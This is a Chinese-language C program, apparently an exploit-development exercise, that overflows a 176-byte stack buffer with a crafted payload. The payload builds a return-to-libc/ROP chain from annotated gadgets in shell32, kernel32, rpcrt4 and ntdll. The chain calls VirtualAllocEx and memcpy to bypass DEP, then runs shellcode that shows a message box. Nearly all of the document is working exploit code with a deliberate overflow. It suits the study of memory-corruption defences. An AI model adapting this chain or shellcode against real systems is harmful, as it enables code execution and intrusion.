Ret2Lib技术有点借刀杀人的味道,构建堆栈很巧妙。
// GS_Virtual.cpp : 定义控制台应用程序的入口点。
//
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
/*
shell32.dll
7D72E79A 54 push esp
7D72E79B 5D pop ebp
7D72E79C C2 0400 retn 4
*/
"\x9A\xE7\x72\x7D""//shell32.dll 中的 push esp,pop ebp, retn 4 ,此处选择4,是因为执行完后 esp = ebp + 8,刚好第一个参数
/*
kernel32.dll
7C809AF1 > 8BFF mov edi, edi
7C809AF3 55 push ebp
7C809AF4 8BEC mov ebp, esp
7C809AF6 FF75 14 push dword ptr ss:[ebp+14]
7C809AF9 FF75 10 push dword ptr ss:[ebp+10]
7C809AFC FF75 0C push dword ptr ss:[ebp+C]
7C809AFF FF75 08 push dword ptr ss:[ebp+8]
7C809B02 6A FF push -1
7C809B04 E8 09000000 call VirtualAllocEx
7C809B09 5D pop ebp
7C809B0A C2 1000 retn 10
*/
"\x04\x9B\x80\x7C"
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
/*
shell32.dll
7D6DE042 58 pop eax
7D6DE043 C3 retn
*/
"\x42\xE0\x6D\x7D"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
/*
shell32.dll
7D5C889A 5E pop esi
7D5C889B 5B pop ebx
7D5C889C C3 retn
*/
"\x9A\x88\x5C\x7D"//上句pop eax的值,此值为 pop pop retn的地址
/*
shell32.dll
7D72E79A 54 push esp
7D72E79B 5D pop ebp
7D72E79C C2 0400 retn 4
*/
"\x9A\xE7\x72\x7D"//push esp,pop ebp,retn4
/*
shell32.dll
7D5CB068 59 pop ecx
7D5CB069 C3 retn
*/
"\x68\xB0\x5C\x7D"
//"\x00\x00\x03\x00" //可执行内存空间地址,转入执行用
"\x08\x00\x03\x00" //可执行内存空间地址,转入执行用
"\x00\x00\x03\x00" //memcpy 参数 目的地址
/*
rpcrt4.dll
77EBDDB8 54 push esp
77EBDDB9 FFE0 jmp eax //此eax 通过前面的pop eax ,retn 指令序列可以控制其值
*/
"\xB8\xDD\xEB\x77"
"\xFF\x00\x00\x00" //memcpy 参数
/*
ntdll.dll
7C921DB3 > $ 55 push ebp
7C921DB4 . 8BEC mov ebp, esp
7C921DB6 . 57 push edi
7C921DB7 . 56 push esi
7C921DB8 . 8B75 0C mov esi, dword ptr ss:[ebp+C]
7C921DBB . 8B4D 10 mov ecx, dword ptr ss:[ebp+10]
7C921DBE . 8B7D 08 mov edi, dword ptr ss:[ebp+8]
7C921DC1 . 8BC1 mov eax, ecx
7C921DC3 . 8BD1 mov edx, ecx
7C921DC5 . 03C6 add eax, esi
7C921DC7 . 3BFE cmp edi, esi
7C921DC9 . 76 08 jbe short 7C921DD3
....
.....
....
pop esi
pop edi
leave
retn
*/
"\xB8\x1D\x92\x7C"
/*
"\xBA\xD9\xBB\x7C"//修正EBP retn 4
"\xBC\x45\x82\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x8A\x17\x84\x7C"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x0B\x1A\xBF\x7C"//pop pop retn
"\xBA\xD9\xBB\x7C"//修正EBP retn4
"\x5F\x78\xA6\x7C"//pop retn
"\x00\x00\x03\x00"//可执行内存空间地址,转入执行用
"\x00\x00\x03\x00"//可执行内存空间地址,拷贝用
"\xBF\x7D\xC9\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xAC\xAF\x94\x7C"//memcpy
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x90\x90\x94"
*/
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
char tt[176];
memcpy(tt,shellcode,450);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}